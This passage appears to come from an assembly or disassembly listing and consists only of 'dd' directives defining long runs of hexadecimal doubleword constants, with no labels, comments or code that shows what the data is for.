		dd 0EBB83FB3h, 0DB1230E0h, 0A808F0BCh, 1409845Bh, 230089D3h
		dd 9EE500F4h, 3AEE1B24h, 0E3200BD6h, 3C843FDFh,	800CF2A4h
		dd 0F430207Dh, 2EBE1267h, 0D68C807Fh, 16127401h, 5C23FFACh
		dd 3C7DB721h, 498256EDh, 32C06836h, 29CCAD60h, 6FFD6500h
		dd 0F717748Ah, 0E4D33184h, 19D5D58h, 43D08B46h,	8764B476h
		dd 91E5972Dh, 6032E20Ch, 62895E8Ch, 3FDEFEF8h, 0CB8F1FC2h
		dd 80831B52h, 0D0766747h, 10EC2348h, 516AA466h,	0B81427E0h
		dd 0F7A0600h, 39E3EF98h, 0AA510476h, 72E07D7h, 0ED20951Ch
		dd 0CD2037h, 2C43FA01h,	0EAE6D064h, 35008275h, 55A3BBD4h
		dd 136B41Eh, 48739CE9h
		dd 0F0BAE604h, 92094B35h, 0E914BE10h, 95207A18h, 0DEF900E3h
		dd 486871AFh, 960095EEh, 6792060Bh, 0EF4DA4h, 0B4F85C58h
		dd 145E3D17h, 0DF22BA07h, 0C0692FA8h, 708C28h, 6DA0E91Ah
		dd 2BABBFFAh, 0D8D87568h, 0DBB75D40h, 0A4371814h, 0EA86609Eh
		dd 0BEA2DA00h, 0D9247C53h, 6589B87Ah, 0B24A30D4h, 0F7FF01C4h
		dd 46DB25E6h, 168CB0C6h, 0A5A8BCABh, 77ECCC90h,	0BB00C998h
		dd 8D9724F9h, 25CC5B6Bh, 0B41012D5h, 0F318D7B4h, 0C748A3A4h
		dd 48604504h, 0C400A584h, 254AE0E3h, 7BF82BCh, 30E5C7C6h
		dd 0D0D95087h, 56000E1Fh, 0C1EA5EDFh, 242C3F94h, 0A0B0D7B0h
		dd 65DE1FF6h, 2F0B0254h, 0D4C6A6D4h, 6840155Ah,	0DD166D72h
		dd 0C1730B9Bh, 0B0EE6833h, 1EE35607h, 0FEA0F926h, 3388F5Fh
		dd 0DE30BA31h, 1905250Fh, 0D0042D03h, 997660B2h, 0F5E0020h
		dd 24F346BAh, 75AEA013h, 9AA14020h, 0BCE400CDh,	93862B25h
		dd 0EBE255DDh, 0DE15BF12h, 0B45830A2h, 0E1019B03h, 0ADC10D8Fh
		dd 21577197h, 3C23A4h, 0B0FD7F3Dh, 0B5CFBh, 0C1901341h
		dd 1872145Bh, 0C550480h, 0F77531DDh, 92176636h,	1CC0D208h
		dd 0C6F90A9Ch, 0C15EAC19h, 657BD900h, 0BF1C2497h, 0E5A40499h
		dd 0A804B1B7h, 0A3668A70h, 0E048212Fh, 242CCC4Eh, 9602D380h
		dd 0D10277FFh, 3149DD7Dh, 107851A3h, 44809CB7h,	27339CF3h
		dd 0F11E8CAh, 72F69883h, 0C31E0185h, 690CF0F4h,	392F9D2Ch
		dd 8000B638h, 0D218A23Ch, 200099B3h, 0CDF02C4Dh, 0B394B87h
		dd 314FFBBEh, 0B0DCDC85h, 25C1CF8h, 8F98199Ch, 683CFD91h
		dd 0D312F980h, 0CA022856h, 863BECE1h, 0B440E054h, 0BF73072Dh
		dd 832F0C62h, 40605A3Eh, 9629A550h, 860D2D5h, 5167AECCh
		dd 4066303Ch, 0D1521659h, 9BD90A9Ch, 890F8839h,	30DE0125h
		dd 94483A80h, 99286BB5h, 18F17D0Ch, 8354F700h, 88057990h
		dd 93727Eh, 585BC734h, 33DD3E59h, 2C469D0Eh, 58268DB1h
		dd 2C583C3Ch, 97822338h, 99FED5ADh, 0E3C73C40h,	7AE05340h
		dd 6978B09Bh, 0FC843971h, 8083232Dh, 0FA7FC2h, 0D85A11DBh
		dd 0DAA79E28h, 60CA3B03h, 7017EA14h, 4FB788B1h,	0E7668E04h
		dd 31C79FE8h, 51609CE0h, 0BABB00E2h, 30E3D358h,	88962C95h
		dd 38465644h, 0CB024915h, 0C3833BAEh, 0F0804475h, 97F82Dh
		dd 3613E234h, 0B6DAB88Bh, 140EA403h, 1754B7D9h,	90E668D9h
		dd 0C0DB47F8h, 24DA1528h, 0D0B27D09h, 97F5057Bh, 0C60A44E2h
		dd 3842719h, 0BE45E960h, 0DF8BA9F3h, 2C7F4818h,	633341h
		dd 254FF082h, 7AB5A4EBh, 2DF3E603h, 855FA12Bh, 14A60CCh
		dd 1C6A9EE8h, 0F0B772C6h, 78C574DAh, 4DC320Bh, 0E7200064h
		dd 1B514535h, 0CD00F521h, 53DBDEBDh, 5F088980h,	0A72C1E56h
		dd 76004094h, 4CFCC824h, 0EC9C735Ah, 0BF8D002Dh, 1EC7ED16h
		dd 0C1004FCEh, 54D210EBh, 349CE63Ch, 87191C1Bh,	20677060h
		dd 572AAFDh, 0BB00A0B1h, 0C47FF91Ch, 3F521379h,	279C0044h
		dd 0F79CAB18h, 0B826EC9Ch, 1C607767h, 1368291h,	0C39BAF93h
		dd 0F8182EC2h, 1900735Fh, 0D42E91Eh, 9543650Eh,	0C1D3DC90h
		dd 571F7FE0h, 0E800075Ch, 884C6289h, 0F26400BCh, 0B5BA129Ch
		dd 0A702CA7Ch, 0DE317D41h, 60F95Bh, 9ABB40D7h, 613B898Dh
		dd 0A5AB27B5h, 4C80E318h, 0C404EDh, 6F5E9C6h, 9C981E41h
		dd 0E2000E71h, 0DD648374h, 1CC3ACE3h, 0DD5F49D4h, 0A20740EFh
		dd 6C4D5475h, 0AC2E2D1Ah, 0F6084071h, 2691255Bh, 0F9438C48h
		dd 763C7412h, 36441820h, 0D645005Bh, 0C2C4ABB4h, 0ED1EAFBEh
		dd 0FFC061A9h, 33E26E2Eh, 6720005Bh, 0EBBD3E5Dh, 0D169C6Bh
		dd 2505CEEFh, 2C88E016h, 40375A7Dh, 526F8A08h, 6D0FBB22h
		dd 0C71E4F7Ch, 2D424EDFh, 0DCC4B1h, 0EE8538C1h,	0E2E727E0h
		dd 0F41CF300h, 1826D0EDh, 0DE59C01Bh, 32D6225Eh, 0E5356604h
		dd 34B8D32Eh, 580A4BA0h, 72A33800h, 2945491h, 0BF2E3h
		dd 4A99600Fh, 0D1A7C168h, 0A5A807Ah, 5EA27C04h,	0D0E6FD49h
		dd 782650BCh, 7504F504h, 73802B08h, 0D13B6E16h,	0DE640057h
		dd 9C97D351h, 8A51D42Eh, 9F20EE4Ch, 9B17F9h, 0FAA31A35h
		dd 0B639F392h, 0D377AF05h, 6CC037DFh, 195404Eh,	41AE6EEEh
		dd 3C239831h, 242B8404h, 4968DCh, 486C6967h, 9C3ED6A4h
		dd 0F8426626h, 7D388304h, 0AAE0C880h, 0B27F1297h, 7CD8C24Ah
		dd 5BD0BC90h, 0A69A0809h, 0F1741174h, 5F3DE0h, 0E9739369h
		dd 7D6F002h, 297672E6h,	0D4617C16h, 0E6C050C2h,	2E5F3F28h
		dd 57CE2B00h, 0C2F61529h, 0E1C4AA00h, 5512DDDCh, 0C335003Bh
		dd 0FC2E1771h, 437454B5h, 0D700657Ch, 9384298Fh, 77209059h
		dd 0F8EF01B8h, 53379BB3h, 0FE29803Dh, 31117624h, 0DADB00D3h
		dd 79E09ACFh, 97017F46h, 5AFC353Ah, 31BE41BBh, 33637D1Dh
		dd 47A4B119h, 1484260h,	0CF7F4D67h, 5D2EC87Ch, 0B8DE990Bh
		dd 395E01C4h, 29844F60h, 0C0F4DB92h, 0EE7F268Dh, 7B862400h
		dd 9A3C824Ch, 2451F3Eh,	0A57EC13Ah, 8296BD2Ah, 0ABD69C39h
		dd 77ED40C2h, 562605BCh, 0C883C14h, 10903696h, 1F412000h
		dd 2A06E4ACh, 0B7DD009Dh, 56F4FE7Fh, 140054FDh,	353DAD16h
		dd 1F1EA8B2h, 18054223h, 7DF3D13Bh, 80B05B3Fh, 7781038Ch
		dd 38DA2AB6h, 0B7B07EC4h, 883B8930h, 8875E22Ah,	98FD9B01h
		dd 0BCA47B57h, 1EDD48C0h, 0FD6C54Bh, 51E645C3h,	0B2006017h
		dd 0BC056009h, 3AEB8B62h, 0E487352Dh, 0C71D5242h, 8A0B8041h
		dd 481B75B9h, 0FDD910E0h, 0E467C420h, 986FE45Eh, 9B1001BFh
		dd 34525A45h, 7BD451FBh, 42BA0877h, 402241h, 63A74E73h
		dd 0C077123Dh, 0A3547E00h, 0B45A4227h, 22F8A413h, 7C7F6DC6h
		dd 98B89C0h, 0AC06ADh, 3066BF9Ah, 2B22DA60h, 53D53100h
		dd 33EAA148h, 7A5B08B2h, 650035A3h, 0E2FF63BCh,	981A1F05h
		dd 9C1903DCh, 21012F7Ch, 40887E73h, 0BDD81876h,	0D0E31E25h
		dd 9A7F8A5Ah, 7CBB40h, 0B0283C50h, 9CB2A88Bh, 0E1EE3878h
		dd 14883D38h, 0AEE077Dh, 40A47A58h, 0FF60BA05h,	59C18040h
		dd 0A0C2D217h, 1CA2DCBh, 29B3C5E0h, 50465263h, 0EF03DF80h
		dd 1C358F03h, 0F87B33FEh, 49A4CC05h, 9B240067h,	381184h
		dd 0E6867E2Dh, 2FD7870h, 5ABC42DCh, 108F47B6h, 42CC3FCAh
		dd 0D5203CB4h, 44049Bh,	0F5DCEED7h, 0B35A5819h,	0F3104051h
		dd 0C978BCC3h, 59BD800h, 0DE61D3E7h, 0C4D70F3Eh, 0E286DD96h
		dd 5900615Fh, 51DA5A16h, 685999Ah, 0E27AFDF7h, 0F601215Bh
		dd 0F4BA9633h, 0D5E08F2Ch, 5C520E36h, 0E2C6DB05h, 0BA252962h
		dd 0AFF0B6h, 0DEEE9E13h, 57D428B0h, 3014394Ch, 0EC8C2964h
		dd 0E51D1FC0h, 0B8A9737Bh, 211461BBh, 0C1FC25E2h, 2083FDF8h
		dd 6041B200h, 5F422D0Ah, 0F2A6D04Bh, 0E76F7500h, 0B3EEDCh
		dd 7849861Ch, 0D3395C14h, 0FDCF8D15h, 773A1D88h, 2B46709h
		dd 8275E4ACh, 0A0C54640h, 7ADBDA50h, 7568007Dh,	0CADCA4C4h
		dd 3940DDB4h, 0C27C0064h, 1A1DDE4Ch, 46F6A17Dh,	0D85DC429h
		dd 4037B208h, 3CA8DC9Ah, 226CFE4Dh, 976D034Ah, 9C14B578h
		dd 2E3C80B0h, 18EB8D04h, 0C180F758h, 67ADA8FDh,	8121F8FBh
		dd 803841C8h, 5965DC9h,	11B946D9h, 0F405592h, 0DEA1BC9Ch
		dd 890B8205h, 8077F408h, 0F81FDBBBh, 2D0381D2h,	6BB5F465h
		dd 99F08F73h, 1FA8D5FEh, 0C015F8D8h, 0E941FFB8h, 61523110h
		dd 0D8D098h, 0FFEF2233h, 1B78205h, 0C0DC9FC4h, 0F538C8CEh
		dd 0C42342h, 0D5C3924Ch
		dd 7945Fh, 0E7E6C0B3h, 768D3F79h, 0D675BA00h, 1A068B1Dh
		dd 6880FD94h, 2DB5349Ch, 3A050496h, 0B4415FACh,	0E321A119h
		dd 18B848h, 0E8CBFA4Ah,	604D5F4Fh, 9C1E7B17h, 93A98700h
		dd 5C20F164h, 0CD0F8B04h, 768F1BFAh, 60EB0521h,	0D8C85043h
		dd 0A601BF26h, 0D38887E6h, 0CB40E034h, 31306325h, 49295EB7h
		dd 2848EEDDh, 7E1AF142h, 84F03D60h, 314147BCh, 407C899Eh
		dd 77AE0598h, 0B1DF4830h, 13D8DB65h, 2054049Ah,	0AD245320h
		dd 5DF66100h, 0E7B726FFh, 3AF40969h, 80A0A240h,	0BB16E438h
		dd 3E173909h, 794C82F9h, 50B4027h, 7A1F28B4h, 0F7641CB8h
		dd 32E1619h, 37413FC3h,	0FBC8FF98h, 106FB830h, 78368CC1h
		dd 808740DDh, 50CC8133h, 510799Fh, 3A15F97Bh, 0B0B981C9h
		dd 441186BAh, 2C60C5E4h, 0C54F36Dh, 0BE80E38Ch,	734A0400h
		dd 1FF91660h, 0ECE867h,	7914AE6Ah, 230663E3h, 0FF61210Ch
		dd 83A0C0h, 7C2CB30Fh, 0DB2AF438h, 0C028CB4Ch, 9B8E31D5h
		dd 542900F3h, 0D746DE98h, 9C2AD8C6h, 0B522CC03h, 7C36F547h
		dd 0AA6DB3Eh, 84F80194h, 82FABE2Bh, 2A05EF29h, 49FC90B8h
		dd 0CCACDAh, 5480328Ah,	2EEC9020h, 52E51C00h, 1B996C6Eh
		dd 47F000B9h, 0DC5C3DEBh, 0FA05D544h, 9338B494h, 2F3E80C2h
		dd 7A03F380h, 4015B08h,	5AE2F441h, 89A4CEB7h, 90696004h
		dd 0C724109h, 0C7E51B01h, 9740C35Ah, 27C9FF0h, 455349C0h
		dd 0B4E43580h, 0A843B32Eh, 67AB50h, 8F3ED652h, 49F70CE9h
		dd 8046300Ch, 497CE14Ch, 0EF00C82Ah, 0F08C580Fh, 0D80073CAh
		dd 95CCE99h, 0E2AC10AAh, 488409FDh, 38A076E1h, 0DF03A5DBh
		dd 37D74C01h, 16BA2B7Eh, 0E0F37998h, 6060E279h,	4881B369h
		dd 0EB3E1474h, 0FB81BC6Dh, 0D270ED95h, 0B3A4002Fh, 142D9310h
		dd 0E444BF30h, 50AE0380h, 941EB57Ah, 0DA801BADh, 805A8AD5h
		dd 4C997488h, 0DB8044B0h, 0D897CEB3h, 8735611Eh, 0E9865B8Eh
		dd 0BA6081C2h, 2C40FD79h, 1646AE4h, 0B5F99110h,	0D0DC99F0h
		dd 2A0CE5F4h, 288AD2BDh, 0D4B9E6h, 1E102B0Ch, 8C00DAB9h
		dd 0DF6E4EBBh, 7960384Fh, 0B2340159h, 0AE9EC268h, 604C3241h
		dd 0DB565368h, 28F14801h, 2037CC17h, 0C4E622Ch,	0FB18E602h
		dd 817ABC9Eh, 0D2899308h, 0B0820261h, 824147C0h, 380024C4h
		dd 0D12266EBh, 0AA24D948h, 4C4C41E4h, 0D8C4E312h, 0FAE74200h
		dd 0F63648EFh, 0EDA0102h, 506EA71Ch, 8891D25Fh,	78727Dh
		dd 0F55E7860h, 0B50AD7h, 94CA71A2h, 0E550BB2Dh,	0AE2CC098h
		dd 7B9078FAh, 0B9433960h, 8908EF4h, 0E4E0E645h,	0A58B94Dh
		dd 24C42FC0h, 0DFDE0EDCh, 12E6405h, 0F22BC484h,	5063DDh
		dd 695101E5h, 887CAh, 1B3226D1h, 5EF9D6DDh, 6E24402h, 593A36DEh
		dd 30701268h, 0F379730h, 507C962Ah, 69E97E00h, 0F81611AEh
		dd 0B308248Dh, 76E44054h, 0DF015F0Fh, 0E505391Ch, 11A0124Eh
		dd 8927F8B4h, 0EC3252h,	0BC9025ECh, 3AA07CAh, 18848BC0h
		dd 3C98B772h, 0E21863EEh, 5603F11h, 781CA051h, 8130F6Bh
		dd 29A0D982h, 3ED518C3h, 81283205h, 0C8CCF29Bh,	44E854h
		dd 0CEAD4241h, 0D288439Eh, 895A9A04h, 34C2FAD3h, 802D2038h
		dd 4774107Eh, 10414D26h, 0AC3DB088h, 56711BCh, 5260DC05h
		dd 0E5F89841h, 508E38BFh, 3920FB6h, 9F7AD880h, 613EE0E8h
		dd 4E2BBA00h, 9AD9960Dh, 3197007Ch, 46DA8AFCh, 0BA018DB1h
		dd 0D104C888h, 0F84C49CBh, 0C2CD043Fh, 0A47EBD82h, 4FB07DA4h
		dd 4137BE09h, 3F7020DFh, 2880C2CBh, 15147CBDh, 0E036787Bh
		dd 77CB82Eh, 4311B229h,	1900317Ch, 0BEF3D6A5h, 3B995289h
		dd 4701C162h, 0EBDDBD6Ah, 4910244Eh, 4C2E171Eh,	30392D98h
		dd 69416FC1h, 4139E3E4h, 0B9EE760Ah, 917FA870h,	802429A4h
		dd 8CE8D11Eh, 5CEEB58Bh, 4560E018h, 2F1949h, 0C6F45E21h
		dd 0F6C56BC7h, 0E5DDDC09h, 0BE541848h, 60B001h,	885A9BD2h
		dd 78917B87h, 0D18BD801h, 0DF1D1849h, 9B04EABh,	7012BC30h
		dd 0E83E5440h, 7D22CC98h, 296F1C3Ch, 0D218700Bh, 3702D862h
		dd 1B9305Ah, 600C6966h,	96111D10h, 0FDDD291Eh, 3F7248B1h
		dd 4336C10h, 18C662F8h,	228143E8h, 0E3334BBDh, 0D083495Eh
		dd 0B8614AC4h, 76A4021Ch, 86381D91h, 85CC0461h,	32DE4979h
		dd 40B76408h, 57FE90F8h, 80469D80h, 58924452h, 6600F5B0h
		dd 79C1A64h, 129E591Dh,	2354EA5h, 0BFB8E02Ch, 53C145Ah
		dd 0F0E40BD7h, 51F40058h, 0A07CD317h, 0B8C831A0h, 0C2CC0490h
		dd 8C7BBD83h, 0BEE6A344h, 0A1D52F40h, 91C480C8h, 0D8DA1A2Dh
		dd 4C8148C4h, 87ABD86h,	38A6647Dh, 0CA460457h, 288918B4h
		dd 71C0D577h, 4E4036Ah,	0C7F46DD9h, 418BD791h, 0F1934AF8h
		dd 0ECE84072h, 0DCB13C0Bh, 11E54909h, 0DC225250h, 1AEEA000h
		dd 1558395Ch, 0B4084111h, 4B0AF058h, 8008B5CAh,	2F55BF7Dh
		dd 71E4D5E3h, 0C9FE19C0h, 5188E5h, 0A6BF0558h, 893D1195h
		dd 0CB10A009h, 7C1F81ECh, 8183B55Ah, 74E2CD3Bh,	694A4100h
		dd 8A3039C4h, 52B10048h, 8332227Fh, 6E0049DBh, 7AD5DCCEh
		dd 7DA72693h, 70D90F02h, 0BA83A83Bh, 0C0C267E7h, 608BC4C1h
		dd 0D709A6CCh, 48E448CDh, 0B1B846A0h, 124411C0h, 0B088DA4Ch
		dd 0A0B67CCBh, 58D35174h, 0B70E49Bh, 612271CCh,	5C43A490h
		dd 85EC7F1Fh, 0A1009E5Ch, 0D5284E40h, 0BDFF0013h, 0BCAE04EFh
		dd 1424555Eh, 6460683Ch, 0F03088Bh, 5F8D5DECh, 0C4524902h
		dd 25262C40h, 0B8DB6300h, 0D6D8BCBAh, 4EE4036Dh, 0E0565F9Ah
		dd 36797CC8h, 41FB7C9Ah, 97D48788h, 5C0156D2h, 0BA4ACB61h
		dd 176FDED0h, 60CA90D8h, 36416708h, 8EFB2112h, 1083810h
		dd 73E9099h, 0A980C88Fh, 9660B265h, 39124A64h, 0AC082C53h
		dd 0DB498A47h, 0BB2E3E2Ch, 0ADA14FB4h, 735FB82Ah, 0DB570084h
		dd 0D910918Ah, 2AAF0534h, 0D28B84BCh, 0CE205A80h, 467E1Dh
		dd 0C5B63A4Ah, 75482E77h, 0D4883126h, 0D51DA601h, 6470069Fh
		dd 4A450C2Bh, 62C82318h, 7E7B08A0h, 2A291E62h, 5C6866C0h
		dd 0C30414E6h, 0C86E1761h, 0A61223CCh, 89360E1h, 8EE7F0D0h
		dd 14DA0047h, 0FF3F5DB7h, 7C4CA6DBh, 0AF908130h, 15C8C0B3h
		dd 54E12694h, 423B9D6Ch, 5EA1ED4Ch, 4F7460F7h, 2ABE1561h
		dd 0FD0A44C4h, 0ACB01595h, 0E3360454h, 0D7848CD2h, 73A93C00h
		dd 1ED484D1h, 91ED0401h, 80BE7815h, 608EEB42h, 4700C4B9h
		dd 660C89E0h, 4B981F99h, 0F1524064h, 0EC2F405Fh, 0DDCFD504h
		dd 64C8B4CAh, 4AC1EA64h, 0FF580857h, 2158E38Ch,	0DCC90045h
		dd 0F4E4BF18h, 0D406C013h, 0B2324D99h, 0AE5A2E58h, 0C6314008h
		dd 42061511h, 4555899Ch, 4FC90F19h, 24E0FF02h, 6DE556EEh
		dd 91A9AE03h, 97DCC0B9h, 0D80B6C72h, 4C4C9670h,	0C5009186h
		dd 0C8329FBCh, 0BBF47Ch, 4699219h, 2A5FEC3Ah, 0F44A5CA4h
		dd 0DC8F1400h, 0A0BEB758h, 9478E474h, 27A6BDDCh, 0FC6014A4h
		dd 0BD79EE80h, 1D72DBEDh, 66F16D02h, 0C19C2394h, 98325F9Ch
		dd 0CF53FB00h, 95434972h, 44D8E04h, 0C08136DCh,	1060BAE2h
		dd 48C02930h, 5F11A4h, 49BBCB54h, 0C83139Eh, 0C26B70B1h
		dd 0C009E938h, 0E477E4E1h, 56014E70h, 8C449044h, 0E5EAC0EDh
		dd 0BA147C50h, 0C01ED90h, 2F546042h, 186C2D19h,	32227448h
		dd 38B53024h, 57147C60h, 3E8A00F8h, 0A2647E7Dh,	67444227h
		dd 0B6B87D5Ah, 406444ACh, 0EDC0EC90h, 0E9BA0037h, 9F38EA5Fh
		dd 2AF02E36h
		dd 9539EEB8h, 2B8C05F4h, 0D0C0496Ch, 105A7B30h,	58FBC3BCh
		dd 5640C05Ch, 0F8F9705Eh, 0F10203ABh, 3662BCC3h, 0FB08BEE0h
		dd 70EC9E00h, 0FF8225D8h, 0BCB400F0h, 152DC378h, 10CEF107h
		dd 2CD2C060h, 989EFAA0h, 64B980h, 0C97E6D81h, 871DE6BDh
		dd 802671CDh, 3A0B3C91h, 0A8C69C32h, 86076E00h,	0CD61F1F6h
		dd 9B480CA3h, 0FD31387Ch, 9C052CE4h, 0C6E26AC1h, 2E7CE0D1h
		dd 180A2180h, 325D1C98h, 0D8722702h, 41B50FC2h,	0F21446F8h
		dd 0B142001Ch, 48B2187Dh, 0FDB013C4h, 1C578Fh, 203AD238h
		dd 30292EF3h, 8980E0BAh, 7AB9CBE7h, 8D5403F0h, 7B3D57A4h
		dd 0A0AEBA88h, 2AB4FB00h, 0C0743C99h, 522F2D12h, 6F6DD020h
		dd 2CEAA1A4h, 5AC8F00h,	0DED1CA91h, 0BC0D2647h,	0DF1D001Bh
		dd 0DB8DC2DAh, 641B7800h, 40E51CF3h, 0BAB60FF8h, 1D03367Dh
		dd 2F80ED13h, 0F500CA88h, 0CD7A44FBh, 76E4F3h, 0DD3F8D8Fh
		dd 0C9CEBCB8h, 90DE43EEh, 3008D13Fh, 29C19264h,	18E0C82Ch
		dd 0A6307864h, 5A9C1798h, 731020B0h, 5901D1C0h,	0A8DE9B28h
		dd 6C6C295Ch, 0D0004922h, 2DE14CF1h, 0F8B4368Dh, 1BCD0055h
		dd 74BC31C2h, 0C0B05F1Eh, 0B75AFB0Eh, 50660904h, 42724518h
		dd 0F204808h, 0EB3968Bh, 0ADA1C962h, 7CC0116Eh,	3F0C078Ch
		dd 0A632D716h, 61237004h, 6C4CF800h, 87317E46h,	0BE2A5144h
		dd 0C603043Dh, 4B60DD91h, 0E6493109h, 45F46925h, 9EC02210h
		dd 87218107h, 0FB4171h,	1A14BCE8h, 14E4BB03h, 88C294FEh
		dd 0A8EC9B85h, 49E3001h, 0DCFF61B6h, 0E6952430h, 4C3112D9h
		dd 0DA40D1E7h, 48695Dh,	1EC0AAA1h, 3ABDC7A4h, 1C937C11h
		dd 430082D3h, 103CF4C1h, 0B8F2B842h, 0C0BB32A0h, 0BC54E341h
		dd 0E7444380h, 90DC6171h, 0D120904h, 10078262h,	1A502242h
		dd 41677C72h, 14FAB911h, 0BAB25A0Eh, 57066C9h, 6DB05085h
		dd 3ABC1Bh, 2FAB157Ah, 0EAAD5177h, 5AF400E0h, 0E84FB5CAh
		dd 92002CFEh, 671D786Ch, 5B8FDh, 64F3CE65h, 7B3E53A4h
		dd 37F79701h, 4B158B3Ch, 45489040h, 0E464A080h,	0D9EC015Ch
		dd 0E2D83CE0h, 5A9C51D5h, 58282AAFh, 1DC800FDh,	0E8569220h
		dd 0D2008D07h, 2EF9BD72h, 0C063BBh, 0F1B5788Bh,	956911CBh
		dd 434494B0h, 0E7D40704h, 109E2061h, 63EB854Fh,	0F42FE313h
		dd 4208052h, 0B16FDF9Ch, 0ABBE8060h, 0A25995FFh, 2D10DC4Ch
		dd 44D8008Ah, 0B32FC14Ah, 0B7CA4F0h, 0D491B92Ah, 3D843DE3h
		dd 0F1E984ECh, 53C0C2B2h, 5CAD5E25h, 0F4007FA4h, 0D8853968h
		dd 601B1B3h, 0E204511Fh, 80DC2376h, 7ABA0EABh, 100B836h
		dd 0A432D91Ch, 7B3C5217h, 500010E8h, 0E8B8F83Fh, 0E3022659h
		dd 0D5443D13h, 48D022h,	3FEB7002h, 1CB8DEEFh, 12F02C48h
		dd 78C8C246h, 1E8C0EAFh, 3153143Ch, 30AE0BA8h, 220104E5h
		dd 80E681F8h, 4081445Ch, 0E7E14938h, 0B9C7937h,	90BD5B13h
		dd 63630D4h, 40BC2AB6h,	0F279508Ch, 806C845Ch, 462F1A20h
		dd 54B000C9h, 0E5EB2EBBh, 0C42E0372h, 48C0248Dh, 0B86E79A4h
		dd 0A24612A8h, 7D88D0E2h, 9F0772ECh, 818A8648h,	625C32A0h
		dd 0E3500E18h, 27EED56Ah, 6FED00DFh, 0E86938DDh, 0BCB7F007h
		dd 0D6C09C5Fh, 0A77B28h, 0C634B337h, 649585B4h,	43C24B03h
		dd 42522Dh, 0EF11CCB1h,	0D777B04Dh, 0FF5E1C16h,	0A16EC0C9h
		dd 0E383E1B6h, 0E635D7B0h, 0FF340600h, 0ED6131E0h, 0D5A41F6Bh
		dd 0DEEC4468h, 1834A925h, 59E9FE60h, 12521243h,	0A6A48C51h
		dd 0D901A274h, 302DBB15h, 0B21452C6h, 74AC4A0Ch, 0BBD2F100h
		dd 8CEF2DC4h, 42579D00h, 4A9F652Ah, 707A00E1h, 61D5735Dh
		dd 0D82762DEh, 0A98890A5h, 0C4FF0191h, 0A24B4CE5h, 703030F2h
		dd 82952203h, 0CDCD443Ch, 0F2D50820h, 0C2830035h, 0ED1C9EFEh
		dd 800E38D7h, 0A1DF5EFCh, 62926874h, 3E6BC0F4h,	8D07ACC3h
		dd 0F0776711h, 7584417Fh, 937B1200h, 2A4E0D90h,	900C74A6h
		dd 1AD9C07Eh, 29B4A24Dh, 0EA736B00h, 0AE62F678h, 0EC510014h
		dd 64D0D659h, 5452BEF2h, 0BF7A00D4h, 79FB34C6h,	68850ED5h
		dd 0C89637C4h, 0DF2D12BCh, 527CB125h, 85031832h, 339B2B45h
		dd 0C1B5D288h, 751CCF01h, 24D0C24Ah, 76002039h,	0F434F347h
		dd 4B38CA48h, 58E10CD7h, 0C43A2041h, 0B2B93059h, 90DE21E8h
		dd 318E80C1h, 94BDB8E5h, 7BE680ACh, 1771C139h, 0E49BD200h
		dd 21CED56Bh, 0C87202E2h, 9AE8E076h, 9202CC50h,	1B757DCh
		dd 0C771162h, 602C812Fh, 4244BA64h, 3C915Dh, 7D5CFCEh
		dd 0DA4A2DF9h, 4534BC77h, 0B7880D53h, 5FBE3C1h,	0C384988Dh
		dd 46D8CC9Eh, 243899C4h, 61E90BE1h, 14973064h, 167B4318h
		dd 80DAB95Ah, 0B8AC5077h, 8403049Bh, 0E2044CFDh, 0D8AF0018h
		dd 881FEB14h, 0EA830AAEh, 0BAD0CC8Ah, 99DC3DBCh, 0E2A7EC00h
		dd 4FC269DDh, 74A4EC9Bh, 0C438112Dh, 0A243170Eh, 16E98C8h
		dd 7E560C9Bh, 526B75D2h, 0C040E374h, 0C82679E4h, 0EB602060h
		dd 1DE8B2A9h, 42EC98E0h, 84B64873h, 0FCF36E60h,	700940B2h
		dd 82248726h, 4022D650h, 3C4F0DA8h, 48000E9Ah, 7AD861D2h
		dd 99D73679h, 0ACCE7C0Ah, 944E1240h, 10B32C5Ah,	404F44B4h
		dd 2C11F840h, 62600E0h,	0F48D1B2Fh, 49009ECCh, 8F2E6139h
		dd 18A4E999h, 410EBD5Ah, 0D85248D5h, 0C0984884h, 0EE222FE6h
		dd 175C01C4h, 4C3F1D3h,	14722FEBh, 0ED7C40BAh, 64829536h
		dd 7C60C8CFh, 7092F3D2h, 59DC8C0Eh, 966083Bh, 2C04A57Dh
		dd 0FC3100FFh, 48D11751h, 42C3E87Ah, 182FC830h,	735C14CFh
		dd 0C88084A2h, 0BB2771CEh, 885C429Ah, 3A122410h, 6E61009h
		dd 0C50C1A8h, 30DC48D2h, 7AE2DB21h, 0A47C947Eh,	20DE4Ah
		dd 90AE2C60h, 0A2F20134h, 57D338B8h, 0FA47D39h,	0E9E49130h
		dd 0CAFE19h, 803294EFh,	6D3C6C43h, 2AF58408h, 6CACBA30h
		dd 8EC2E088h, 0DE5480FDh, 4E28E538h, 77AC2042h,	0E4025EFBh
		dd 516B3FE9h, 28E4FB7Ah, 41856974h, 66EE8C00h, 9B11D025h
		dd 48022D7Ch, 0CC7F8E27h, 0ECC39540h, 0A1BD5E0Eh, 3482DEF9h
		dd 59C4D8D5h, 32C09334h, 0C419E678h, 0C4B4C508h, 2075038Fh
		dd 415E05C2h, 0DA1B00E1h, 31094F7Bh, 8B00895Fh,	0CD586D52h
		dd 0C14CB4Bh, 0C0A30EC2h, 0A91F2A30h, 41010743h, 0C852FF1Eh
		dd 0EC7E1980h, 0D7218CBAh, 727BF00h, 42CA062Eh,	11020068h
		dd 375D03ABh, 5C00BD46h, 0DDA5C22Ah, 1CEDAC71h,	106A06DEh
		dd 110D005Eh, 0A8282993h, 0AE0E00ABh, 0EEE1082Dh, 44763786h
		dd 282C29C0h, 3183CE85h, 75D0294Bh, 0BAD98737h,	5A811724h
		dd 1EC336Eh, 0EC69E24Eh, 0D623072Ah, 0C0F5D89Dh, 9784E230h
		dd 263F5B00h, 884AC9E5h, 0B3C1285Eh, 69314494h,	3DA5B900h
		dd 0BE784AF8h, 84CE31ABh, 0C0660589h, 0E600D940h, 0EADCAC1Ch
		dd 1CBD20Eh, 0F9A6065Dh, 0D0A5EEDDh, 0B30AE232h, 0A8AA53DFh
		dd 0A41C7A40h, 0FE48C32Dh, 1900D552h, 0BE70FCC7h, 0F4C4E86h
		dd 0E82DCF36h, 3FB304E3h, 43FFEBDAh, 5C5E8BAh, 3E5100A3h
		dd 7EE13CCDh, 113A0F23h, 80A98C7Dh, 86A901h, 0F9472E9Eh
		dd 0F869063Ah, 835119C0h, 8B4F4Dh, 0B386F168h, 5CBE40E0h
		dd 1CAD9C0Ah, 0C11494E4h, 43409CF4h, 7C7D170Eh,	308654A9h
